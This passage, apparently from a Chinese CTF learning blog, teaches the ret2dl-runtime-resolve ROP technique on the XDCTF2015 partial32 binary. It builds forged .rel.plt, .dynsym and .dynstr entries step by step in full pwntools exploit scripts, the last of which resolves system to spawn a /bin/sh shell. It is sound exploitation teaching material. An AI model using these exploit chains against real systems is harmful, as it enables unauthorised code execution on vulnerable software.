class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span>{</span><br> Elf32_Addr r_offset;<br> Elf32_Word r_info;<br>}Elf32_Rel<br></code></pre></td></tr></table></figure><p>Elf32_Rel 结构体长这样,在前文原理也说过。也就是说这里我们需要去模拟两个成员变量,一个是 r_offset ,另一个就是 r_info 。 r_offset ,r_offset其实就是 write@got ,因此可以直接获取。</p><p>至于r_info,我们可以用 <code>readelf -r file</code> 在程序中查看</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E8%AF%BBr_info.png" alt="读r_info"></p><p>接下来考虑怎么在bss段新栈上让程序运行到我们构建的结构体。正常的 Elf32_Rel = .rel.plt + reloc_arg 得到。我们拆开看,相当于一个基地址加上了一个偏移就找到了结构体。我们在bss段上的新栈里部署了plt0,代替了函数调用功能,接下来就会执行 dl_runtime_resolve 函数。运行 dl_runtime_resolve函数也会执行 .rel.plt + reloc_arg 的过程,基地址还是.rel.plt,只不过偏移变了。由于_dl_runtime_resolve函数没有做边界检查,所以我们的偏移可以偏到任何一个想要指向的位置。其实就是需要一个 fake_reloc</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5C%E4%BC%AA%E9%80%A0Elf32_Rel.png" alt="伪造Elf32_Rel"></p><p>由图示 令 .bss 段起始地址为 fake_stack ,则有 fake_stack + offset = .rel.plt + fake_arg</p><p><strong>fake_arg = fake_stack + offset - .rel.plt</strong></p><p>有了以上信息就可以开始着手布栈了,栈迁移后的 fake_stack 如图:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst3.png" alt="st3"></p><p>完整exp如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context(log_level = <span class="hljs-string">'debug'</span>,arch =<span class="hljs-string">'i386'</span>,os=<span class="hljs-string">'Linux'</span>)<br>pwnfile = <span class="hljs-string">'./xdctf2015_partial32'</span><br>io = process(pwnfile)<br>elf = ELF(pwnfile)<br>rop = ROP(pwnfile)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">kan</span>():<br>gdb.attach(io)<br>pause()<br><br>bss_base = elf.bss()<br>padding = <span class="hljs-number">0x70</span><br>stack_size = <span class="hljs-number">0x500</span><br>fake_stack = bss_base + stack_size<br>rop.raw(<span class="hljs-string">'a'</span> * padding)<br>rop.call(<span class="hljs-string">'read'</span>,[<span class="hljs-number">0</span>, fake_stack, <span class="hljs-number">100</span>])<br>rop.migrate(fake_stack)<br>io.sendlineafter(<span class="hljs-string">b"Welcome to XDCTF2015~!\n"</span>,rop.chain())<br><br>rop = ROP(pwnfile)<br>sh = <span class="hljs-string">"/bin/sh\x00"</span><br>plt0 = elf.get_section_by_name(<span class="hljs-string">'.plt'</span>).header.sh_addr<br>dynsym = elf.get_section_by_name(<span class="hljs-string">'.dynsym'</span>).header.sh_addr<br>rel_plt = elf.get_section_by_name(<span class="hljs-string">'.rel.plt'</span>).header.sh_addr<br>reloc_arg = fake_stack + <span class="hljs-number">24</span> - rel_plt<br>r_info = <span class="hljs-number">0x607</span><br>r_offset = elf.got[<span class="hljs-string">'write'</span>]<br>rop.raw(plt0)<br>rop.raw(<span class="hljs-built_in">int</span>(reloc_arg)) <br>rop.raw(<span class="hljs-string">'beaf'</span>)<br>rop.raw(<span class="hljs-number">1</span>) <span class="hljs-comment">#write函数1参</span><br>rop.raw(fake_stack + <span class="hljs-number">80</span>) <span class="hljs-comment">#write函数2参</span><br>rop.raw(<span class="hljs-built_in">len</span>(sh)) <span class="hljs-comment">#write函数3参</span><br>rop.raw(r_offset) <br>rop.raw(r_info) <br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">80</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br>rop.raw(sh)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">100</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br><br>io.sendline(rop.chain())<br>io.interactive()<br></code></pre></td></tr></table></figure><h4 id="stage-3"><a href="#stage-3" class="headerlink" title="stage 3"></a>stage 3</h4><p>上一步我们在.bss段上伪造一个 Elf_Rel ,如果我们之后想调用system函数,那么 r_info 和 r_offset 肯定不能通过 readelf 读出,r_offset 比较好解决,直接用 elf.got 就可以得到,但 r_info 就没这么容易了,因此这一步便要在.bss段上伪造一个 .dynsym ,然后通过构造的 .dynsym 反推出新的 r_info 。即伪造的绿圈部分</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst3-3.png" alt="st3-3"></p><p>根据前置知识,我们知道dynsym结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span></span><br><span class="hljs-class">{</span><br> Elf32_Word st_name; <span class="hljs-comment">//符号名,是相对.dynstr起始的偏移</span><br> Elf32_Addr st_value;<br> Elf32_Word st_size;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_info; <span class="hljs-comment">//对于导入函数符号而言,它是0x12</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_other;<br> Elf32_Section st_shndx;<br>}Elf32_Sym; <span class="hljs-comment">//对于导入函数符号而言,除st_name外其他字段都是0</span><br></code></pre></td></tr></table></figure><p>也就是说我们想要找的 write 函数的结构体内容大致为 “[偏移 , 0 , 0 , 0x12]” </p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst3-2.png" alt="st3-2"></p><p>ida中可以看到 write 函数的结构体在第6个,因此可以用 <code>readelf -x .dynsym ./file</code> 看看 .dynsym 结构体的内存来读数值。</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst3-1.png" alt="st3-1"></p><p>从0开使数,读到第6个就是 write函数,st_name=0x4c,st_value=0,st_size=0,st_info=0x12</p><p>知道了结构体内容之后,我们就需要考虑将这个结构体放在bss段新栈的哪个位置了。在stage3的时候我们将write的 R32_Rel 结构体内容放在了0x18和0x1c的位置。那么我们的 fake_write_sym 就可以紧接着放在0x20的位置,也就是相对新栈基地址base_stage偏移32字节处开始部署</p><p>但是在部署的时候需要考虑一个问题,就是<strong>地址对齐</strong>。为什么要进行地址对齐呢?因为我们打算在fake_stack + 32的位置部署 write_sym 结构体,但是<strong>我们找的位置可能相对于.dynsym来说并不是一个标准地址</strong>。什么叫标准地址呢?.dynsym的每个结构体大小为16个字节,也就是说如果想找到某个函数的.dynsym结构体,那么就需要16个字节16个字节的找。这个时候就需要用到下面的公式了:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c">fake_sym_addr = fake_stack + <span class="hljs-number">32</span><br>align = <span class="hljs-number">0x10</span> - ((fake_sym_addr - dynsym) & <span class="hljs-number">0xf</span>) <br>fake_sym_addr += align<br></code></pre></td></tr></table></figure><p>举个栗子来讲一下这个公式(例子来自NoOne大佬,本文开头有大佬博客):</p><p>假设内存布局是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs assembly">0x8048a00 11111111 22222222 33333333 44444444 dynsym起始位置<br>0x8048a10 11111111 22222222 33333333 44444444<br>0x8048a20 11111111 22222222 33333333 44444444<br>0x8048a30 11111111 22222222 33333333 44444444<br>0x8048a40 11111111 22222222 33333333 44444444<br>0x8048a50 11111111 22222222 33333333 44444444<br>0x8048a60 11111111 22222222 33333333 44444444<br>0x8048a70 11111111 22222222 33333333 44444444<br>0x8048a80 11111111 22222222 33333333 44444444<br></code></pre></td></tr></table></figure><p>fake_stack + 32可能在这4个部分的任意位置,但这样是不行的,他的结构体只能从开头开始,所以我需要取他的这段开头的地址</p><ul><li>假设我在第3部分,第一个3的位置,那我 fake_stack + 32就是0x8048a88</li><li>利用上面那个计算方式就是0x10 - ((0x8048a88 - 0x8048a00) & 0xf) = 0x10 - 0x8 = 0x8</li><li>故我的地址在加上align后就变成0x8048a90刚好是对齐了</li></ul><h5 id="通过-dynsym结构体下标反推-r-info"><a href="#通过-dynsym结构体下标反推-r-info" class="headerlink" title="通过.dynsym结构体下标反推 r_info"></a>通过.dynsym结构体下标反推 r_info</h5><p>我们在前面在原理部分讲过_dl_runtime_resolve运行过程,r_info通过右移8位去掉 “07” 标识为得到函数在 .dynsym 中的下标。那么我们反过来想,如果我们得到了 .dynsym 的下标,左移8位再与上0x07不就可以得到r_info了嘛</p><p>所以在对齐之后就需要考虑新栈中 .dynsym 结构体相对于 .dynsym 的基地址是第几个结构体,因为 .dynsym 每个结构体大小为16个字节,所以新栈结构体地址 fake_sym_addr - .dynsym 基地址得到距离,这个距离里到底有几个结构体,除以16就行了( .dynsym 基地址可通过pwntools自动获取):</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c">index_dynsym = (fake_sym_addr - dynsym) / <span class="hljs-number">0x10</span><br></code></pre></td></tr></table></figure><p>在得到.dynsym下标之后,就可以进行左移8,然后再与上0x07就可以了:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c">r_info = (index_dynsym << <span class="hljs-number">8</span>) | <span class="hljs-number">0x7</span> = ((fake_sym_addr - dynsym) / <span class="hljs-number">0x10</span> << <span class="hljs-number">8</span>) | <span class="hljs-number">0x7</span><br></code></pre></td></tr></table></figure><p>最后就是将构建的 .rel.plt 的结构体放在 fake_stack + 24 的地方了,部署的方式和前面的stage3一样还是通过公式<br>reloc_arg = fake_stack + 24 - .rel.plt算出偏移指向构建的.rel.plt的结构体的位置</p><p>最后布栈如下:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cstage3-5.png" alt="stage3-5"></p><p>完整exp如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context(log_level = <span class="hljs-string">'debug'</span>,arch =<span class="hljs-string">'i386'</span>,os=<span class="hljs-string">'Linux'</span>)<br>pwnfile = <span class="hljs-string">'./xdctf2015_partial32'</span><br>io = process(pwnfile)<br>elf = ELF(pwnfile)<br>rop = ROP(pwnfile)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">kan</span>():<br>gdb.attach(io)<br>pause()<br><br>bss_base = elf.bss()<br>padding = <span class="hljs-number">0x70</span><br>stack_size = <span class="hljs-number">0x500</span><br>fake_stack = bss_base + stack_size<br>rop.raw(<span class="hljs-string">'a'</span> * padding)<br>rop.call(<span class="hljs-string">'read'</span>,[<span class="hljs-number">0</span>, fake_stack, <span class="hljs-number">100</span>])<br>rop.migrate(fake_stack)<br>io.sendlineafter(<span class="hljs-string">b"Welcome to XDCTF2015~!\n"</span>,rop.chain())<br><br>rop = ROP(pwnfile)<br>sh = <span class="hljs-string">"/bin/sh\x00"</span><br>plt0 = elf.get_section_by_name(<span class="hljs-string">'.plt'</span>).header.sh_addr <br>dynsym = elf.get_section_by_name(<span class="hljs-string">'.dynsym'</span>).header.sh_addr<br>rel_plt = elf.get_section_by_name(<span class="hljs-string">'.rel.plt'</span>).header.sh_addr<br>st_name = <span class="hljs-number">0x4c</span><br>st_value ,st_size ,st_info = <span class="hljs-number">0</span> ,<span class="hljs-number">0</span> ,<span class="hljs-number">0x12</span><br><br>fake_sym_addr = fake_stack + <span class="hljs-number">32</span> <span class="hljs-comment">#在fake_stack + 32的地方开始部署.dynsym结构体</span><br>align = <span class="hljs-number">0x10</span> - ((fake_sym_addr - dynsym) & <span class="hljs-number">0xf</span>) <span class="hljs-comment">#对齐</span><br>fake_sym_addr += align<br>fake_write_dynsym = flat([st_name, st_value, st_size, st_info])<span class="hljs-comment"># 伪造的.dynsym结构体</span><br>reloc_arg = fake_stack + <span class="hljs-number">24</span> - rel_plt<br>index_dynsym = <span class="hljs-built_in">int</span>((fake_sym_addr - dynsym) / <span class="hljs-number">0x10</span>)<br>r_info = <span class="hljs-built_in">int</span>(index_dynsym << <span class="hljs-number">8</span>) | <span class="hljs-number">0x7</span><br>r_offset = elf.got[<span class="hljs-string">'write'</span>]<br>fake_write_reloc = flat([r_offset, r_info])<br><br>rop.raw(plt0)<br>rop.raw(<span class="hljs-built_in">int</span>(reloc_arg)) <br>rop.raw(<span class="hljs-string">'beaf'</span>)<br>rop.raw(<span class="hljs-number">1</span>) <span class="hljs-comment">#write函数1参</span><br>rop.raw(fake_stack + <span class="hljs-number">80</span>) <span class="hljs-comment">#write函数2参</span><br>rop.raw(<span class="hljs-built_in">len</span>(sh)) <span class="hljs-comment">#write函数3参</span><br>rop.raw(fake_write_reloc)<br>rop.raw(<span class="hljs-string">"a"</span> * align)<br>rop.raw(fake_write_dynsym)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">80</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br>rop.raw(sh)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">100</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br><br>io.sendline(rop.chain())<br>io.interactive()<br></code></pre></td></tr></table></figure><h4 id="stage-4"><a href="#stage-4" class="headerlink" title="stage 4"></a>stage 4</h4><p>上一部分我们完成了.dynsym的迁移工作,这次在上一步的基础上继续将.dynstr迁移到bss段的新栈中,就是模拟下面蓝圈的部分:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst4.png" alt="st4"></p><p>其实迁移.dynstr可以分为两步:</p><ul><li>部署write函数的字符串“write\x00”</li><li>更改write函数在.dynsym的第一位结构体成员变量st_name的值</li></ul><p><strong>部署write函数的字符串“write\x00”</strong></p><p>在上一部分我们将.dynsym放置在了 fake_stack + 0x20的位置,但是由于对齐的原因,实际上需要8个字节进行填充,也就是我们实际上写.dynsym 的结构体的起始位置应该是 fake_sym_addr = fake_stack + 0x28,由于.dynsym的结构体占16个字节,所以我们从fake_sym_addr + 0x10的位置开始部署write函数的字符串“write\x00”</p><p>write后面加\x00是由于在.dynstr中每一段字符串都以\x00结尾</p><p><strong>更改st_name</strong></p><p>在上一部分讲过 .dynsym 是 Elf32_Sym 结构体,这个结构体的第一个成员变量 st_name 代表着相对 .dynstr 起始的偏移,所以如果需要部署 .dynstr 的话,st_name 就必须更改。更改的值取决于我们想要在新栈中摆放 .dynstr 的位置,在上一步中已经确定了摆放位置,那么还是用之前的公式先做一个等式(具体解释请参考STAGE3部分内容):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">st_name + .dynstr = fake_sym_addr + <span class="hljs-number">0x10</span><br></code></pre></td></tr></table></figure><p>我们需要的是st_name ,所以将等式变形:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">st_name = fake_sym_addr + <span class="hljs-number">0x10</span> - .dynstr<br></code></pre></td></tr></table></figure><p>这样一来我们在部署.dynsym的结构体的内容的时候就可以写成:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">fake_write_sym = flat([st_name, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0x12</span>])<br></code></pre></td></tr></table></figure><p>布栈情况如下:</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cst4-1.png" alt="st4-1"></p><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context(log_level = <span class="hljs-string">'debug'</span>,arch =<span class="hljs-string">'i386'</span>,os=<span class="hljs-string">'Linux'</span>)<br>pwnfile = <span class="hljs-string">'./xdctf2015_partial32'</span><br>io = process(pwnfile)<br>elf = ELF(pwnfile)<br>rop = ROP(pwnfile)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">kan</span>():<br>gdb.attach(io)<br>pause()<br><br>bss_base = elf.bss()<br>padding = <span class="hljs-number">0x70</span><br>stack_size = <span class="hljs-number">0x500</span><br>fake_stack = bss_base + stack_size<br>rop.raw(<span class="hljs-string">'a'</span> * padding)<br>rop.call(<span class="hljs-string">'read'</span>,[<span class="hljs-number">0</span>, fake_stack, <span class="hljs-number">100</span>])<br>rop.migrate(fake_stack)<br>io.sendlineafter(<span class="hljs-string">b"Welcome to XDCTF2015~!\n"</span>,rop.chain())<br><br>rop = ROP(pwnfile)<br>sh = <span class="hljs-string">"/bin/sh\x00"</span><br>plt0 = elf.get_section_by_name(<span class="hljs-string">'.plt'</span>).header.sh_addr <br>dynsym = elf.get_section_by_name(<span class="hljs-string">'.dynsym'</span>).header.sh_addr<br>rel_plt = elf.get_section_by_name(<span class="hljs-string">'.rel.plt'</span>).header.sh_addr<br>dynstr = elf.get_section_by_name(<span class="hljs-string">'.dynstr'</span>).header.sh_addr<br><br>fake_sym_addr = fake_stack + <span class="hljs-number">32</span> <span class="hljs-comment">#在fake_stack + 32的地方开始部署.dynsym结构体</span><br>align = <span class="hljs-number">0x10</span> - ((fake_sym_addr - dynsym) & <span class="hljs-number">0xf</span>) <span class="hljs-comment">#对齐</span><br>fake_sym_addr += align<br>st_name = fake_sym_addr + <span class="hljs-number">0x10</span> - dynstr <span class="hljs-comment"># 计算.dynstr偏移准备更改.dynsym成员变量st_name</span><br>st_value ,st_size ,st_info = <span class="hljs-number">0</span> ,<span class="hljs-number">0</span> ,<span class="hljs-number">0x12</span><br>fake_write_dynsym = flat([st_name, st_value, st_size, st_info]) <span class="hljs-comment"># 伪造的.dynsym结构体</span><br>reloc_arg = fake_stack + <span class="hljs-number">24</span> - rel_plt<br>index_dynsym = <span class="hljs-built_in">int</span>((fake_sym_addr - dynsym) / <span class="hljs-number">0x10</span>) <span class="hljs-comment"># 计算.dynsym结构体下标</span><br>r_info = <span class="hljs-built_in">int</span>(index_dynsym << <span class="hljs-number">8</span>) | <span class="hljs-number">0x7</span> <span class="hljs-comment"># 由.dynsym结构体下标反推r_info</span><br>r_offset = elf.got[<span class="hljs-string">'write'</span>]<br>fake_write_reloc = flat([r_offset, r_info])<br><br>rop.raw(plt0)<br>rop.raw(<span class="hljs-built_in">int</span>(reloc_arg)) <br>rop.raw(<span class="hljs-string">'beaf'</span>)<br>rop.raw(<span class="hljs-number">1</span>) <span class="hljs-comment">#write函数1参</span><br>rop.raw(fake_stack + <span class="hljs-number">80</span>) <span class="hljs-comment">#write函数2参</span><br>rop.raw(<span class="hljs-built_in">len</span>(sh)) <span class="hljs-comment">#write函数3参</span><br>rop.raw(fake_write_reloc)<br>rop.raw(<span class="hljs-string">"a"</span> * align)<br>rop.raw(fake_write_dynsym)<br>rop.raw(<span class="hljs-string">'write\x00'</span>)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">80</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br>rop.raw(sh)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">100</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br><br>io.sendline(rop.chain())<br>io.interactive()<br></code></pre></td></tr></table></figure><h4 id="stage-5"><a href="#stage-5" class="headerlink" title="stage 5"></a>stage 5</h4><p>到目前为止前期所有的准备工作就都已经做完了,我们完成了对栈的迁移、对.rel.plt的迁移、对.dynsym的迁移、对.dynstr的迁移。我们一直都是 以write函数做实验,并且通过前面的各个部分验证,证明/bin/sh字符串可以作为一个函数的参数使用。那么这一部分我们就可以将write函数替换成system函数了,预计在替换之后执行EXP就可以获得shell了,胜利近在咫尺!</p><p>最终布栈如下:</p><p>![st final](高级ROP-ret2dl-runtime-resolve\st final.png)</p><p>Final exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context(log_level = <span class="hljs-string">'debug'</span>,arch =<span class="hljs-string">'i386'</span>,os=<span class="hljs-string">'Linux'</span>)<br>pwnfile = <span class="hljs-string">'./xdctf2015_partial32'</span><br>io = process(pwnfile)<br>elf = ELF(pwnfile)<br>rop = ROP(pwnfile)<br><span class="hljs-keyword">def</span> <span class="hljs-title function_">kan</span>():<br>gdb.attach(io)<br>pause()<br><br>bss_base = elf.bss()<br>padding = <span class="hljs-number">0x70</span><br>stack_size = <span class="hljs-number">0x500</span><br>fake_stack = bss_base + stack_size<br>rop.raw(<span class="hljs-string">'a'</span> * padding)<br>rop.call(<span class="hljs-string">'read'</span>,[<span class="hljs-number">0</span>, fake_stack, <span class="hljs-number">100</span>])<br>rop.migrate(fake_stack)<br>io.sendlineafter(<span class="hljs-string">b"Welcome to XDCTF2015~!\n"</span>,rop.chain())<br><br>rop = ROP(pwnfile)<br>sh = <span class="hljs-string">"/bin/sh\x00"</span><br>plt0 = elf.get_section_by_name(<span class="hljs-string">'.plt'</span>).header.sh_addr <br>dynsym = elf.get_section_by_name(<span class="hljs-string">'.dynsym'</span>).header.sh_addr<br>rel_plt = elf.get_section_by_name(<span class="hljs-string">'.rel.plt'</span>).header.sh_addr<br>dynstr = elf.get_section_by_name(<span class="hljs-string">'.dynstr'</span>).header.sh_addr<br><br>fake_sym_addr = fake_stack + <span class="hljs-number">32</span> <span class="hljs-comment">#在fake_stack + 32的地方开始部署.dynsym结构体</span><br>align = <span class="hljs-number">0x10</span> - ((fake_sym_addr - dynsym) & <span class="hljs-number">0xf</span>) <span class="hljs-comment">#对齐</span><br>fake_sym_addr += align<br>st_name = fake_sym_addr + <span class="hljs-number">0x10</span> - dynstr <span class="hljs-comment"># 计算.dynstr偏移准备更改.dynsym成员变量st_name</span><br>st_value ,st_size ,st_info = <span class="hljs-number">0</span> ,<span class="hljs-number">0</span> ,<span class="hljs-number">0x12</span><br>fake_write_dynsym = flat([st_name, st_value, st_size, st_info]) <span class="hljs-comment"># 伪造的.dynsym结构体</span><br>reloc_arg = fake_stack + <span class="hljs-number">24</span> - rel_plt<br>index_dynsym = <span class="hljs-built_in">int</span>((fake_sym_addr - dynsym) / <span class="hljs-number">0x10</span>) <span class="hljs-comment"># 计算.dynsym结构体下标</span><br>r_info = <span class="hljs-built_in">int</span>(index_dynsym << <span class="hljs-number">8</span>) | <span class="hljs-number">0x7</span> <span class="hljs-comment"># 由.dynsym结构体下标反推r_info</span><br>r_offset = elf.got[<span class="hljs-string">'write'</span>]<br>fake_write_reloc = flat([r_offset, r_info])<br><br>rop.raw(plt0)<br>rop.raw(<span class="hljs-built_in">int</span>(reloc_arg))<br><span class="hljs-comment"># fake ret addr of write </span><br>rop.raw(<span class="hljs-string">'beaf'</span>)<br>rop.raw(fake_stack + <span class="hljs-number">80</span>) <span class="hljs-comment">#system函数1参</span><br>rop.raw(<span class="hljs-string">'aaaa'</span>) <span class="hljs-comment">#system函数2参</span><br>rop.raw(<span class="hljs-string">'aaaa'</span>) <span class="hljs-comment">#system函数3参</span><br>rop.raw(fake_write_reloc) <span class="hljs-comment"># 伪造的.rel.plt的结构体</span><br>rop.raw(<span class="hljs-string">"a"</span> * align) <span class="hljs-comment"># 对齐</span><br>rop.raw(fake_write_dynsym) <span class="hljs-comment">#伪造的.dynsym的结构体</span><br>rop.raw(<span class="hljs-string">'system\x00'</span>) <span class="hljs-comment">#伪造的.dynstr</span><br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">80</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br>rop.raw(sh)<br>rop.raw(<span class="hljs-string">'a'</span> * (<span class="hljs-number">100</span> - <span class="hljs-built_in">len</span>(rop.chain())))<br><br>io.sendline(rop.chain())<br>io.interactive()<br></code></pre></td></tr></table></figure><p>拿到shell!</p><p><img src="%E9%AB%98%E7%BA%A7ROP-ret2dl-runtime-resolve%5Cshell%EF%BC%81.png" alt="shell!"></p><h3 id="roputil工具攻击"><a href="#roputil工具攻击" class="headerlink" title="roputil工具攻击"></a>roputil工具攻击</h3><p>看到 wiki 和别人用过的代码,但是在我电脑上 roputils 包的使用和导入好像有问题,这个用不成功</p><h3 id="pwntools-工具攻击"><a href="#pwntools-工具攻击" class="headerlink" title="pwntools 工具攻击"></a>pwntools 工具攻击</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 